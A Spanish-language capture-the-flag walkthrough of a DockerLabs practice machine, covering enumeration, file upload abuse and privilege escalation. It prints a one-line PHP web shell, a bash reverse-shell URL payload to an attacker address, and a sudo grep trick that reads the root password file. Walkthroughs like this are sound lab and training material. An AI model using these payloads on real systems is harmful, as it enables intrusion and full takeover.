

Desplegamos la máquina.

```
> sudo bash auto_deploy.sh dockerlabs.tar
[sudo] contraseña para kali:

      ##
    ## ## ##
  ## ## ## ##
=====
NNN {NN NNNN NNN NNNN NN N} ===- NNN
      0
    \_____/
   /_____\

DOCKERLABS

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2
```

Le hacemos un ping para comprobar la conectividad y además con el ttl de 64 sabemos que estamos ante una máquina Linux.

```
> ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.057 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.057/0.057/0.057/0.000 ms
```

Con nmap vemos los puertos que están abiertos y sus servicios.

```
PORT      STATE SERVICE VERSION
80/tcp    open  http   Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Dockerlabs
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
```

Con whatweb vemos las tecnologías que tiene la página web.

```
➤ whatweb http://172.17.0.2
http://172.17.0.2 [200 OK] Apache[2.4.58], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58
(Ubuntu)], IP[172.17.0.2], Script, Title[Dockerlabs]
```

Con gobuster vemos los archivos y carpetas ocultas y vemos que machine.php nos deja subir archivos y en la carpeta uploads es donde se encuentran. Por lo que subiremos un archivo malicioso que ejecute comandos.

```

> gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,htm,xml,json,css,md,txt,log,conf,ini,js,ts,sh,bak,old,backup,zip,tar,tar.gz,rar,7z,png,jpg,jpeg,gif,svg,webp,woff,woff2,ttf,eot,exe,bin,py,pl,rb,asp,aspx,pcap,pcapng -t 100
=====
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: xml,md,tar.gz,ttf,conf,backup,png,rb,htm,ini,bak,old,jpg,exe,pl,aspx,php,html,css,ts,tar,woff2,pcapng,txt,sh,rar,gif,webp,pcap,js,svg,eot,asp,log,7z,jpeg,woff,json,zip,bin,py
[+] Timeout: 10s
=====
Starting gobuster in directory enumeration mode
=====
index.php (Status: 200) [Size: 8235]
uploads (Status: 301) [Size: 310] [--> http://172.17.0.2/uploads/]
scripts.js (Status: 200) [Size: 919]
upload.php (Status: 200) [Size: 0]
styles.css (Status: 200) [Size: 1439]
machine.php (Status: 200) [Size: 1361]

```

Archivo que vamos a subir.

```
> cat /home/kali/Scripts/shell.phar -p
<?php
    system($_GET['cmd']);
?>
```

Ya podemos ejecutar comandos. Y nos lanzamos una reverse shell con el oneliner de siempre.

```
• 172.17.0.2/uploads/shell x +
http://172.17.0.2/uploads/shell.phar?cmd=bash -c 'bash -i >%26 /dev/tcp/10.0.2.65/443 0>%261'
```

Y ya tenemos acceso como www-data. Además, comprobamos que binario podemos usar como root.

```
www-data@9447a1d3bdd0:/var/www/html/uploads$ ls -la
total 16
drwxrwxrwx 1 root root 4096 Mar 17 22:06 .
drwxr-xr-x 1 root root 4096 May 17 2024 ..
-rw-r--r-- 1 www-data www-data 34 Mar 17 22:06 shell.phar
www-data@9447a1d3bdd0:/var/www/html/uploads$ sudo -l
Matching Defaults entries for www-data on 9447a1d3bdd0:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr
ap/bin, use_pty

User www-data may run the following commands on 9447a1d3bdd0:
    (root) NOPASSWD: /usr/bin/cut
    (root) NOPASSWD: /usr/bin/grep
```

Buscamos un archivo que sea de root y con el que podamos usar uno de los binarios para leerlo. En este caso hemos encontrado notas.

```
www-data@9447a1d3bdd0:/var/www/html/uploads$ find / -name "*.txt" 2>/dev/null
/opt/nota.txt
/usr/share/perl/5.38.2/unicore/NamedSequences.txt
/usr/share/perl/5.38.2/unicore/SpecialCasing.txt
/usr/share/perl/5.38.2/unicore/Blocks.txt
/usr/share/perl/5.38.2/Unicode/Collate/keys.txt
/usr/share/perl/5.38.2/Unicode/Collate/allkeys.txt
```

Leemos la nota y nos dice que la clave de root está en el directorio de root y en el archivo clave.

```
www-data@9447a1d3bdd0:/var/www/html/uploads$ cat /opt/nota.txt
Protege la clave de root, se encuentra en su directorio /root/clave.txt, menos mal que nadie tiene permisos par
a acceder a ella.
```

Por lo tanto, con grep podemos leer dicho archivo ya que lo podemos usar como root.

```
www-data@9447a1d3bdd0:/var/www/html/uploads$ sudo /usr/bin/grep "" /root/clave.txt
dockerlabsmolamogollon123
```

Y listo ya somos root.

```
www-data@9447a1d3bdd0:/var/www/html/uploads$ su
Password:
root@9447a1d3bdd0:/var/www/html/uploads# id
uid=0(root) gid=0(root) groups=0(root)
```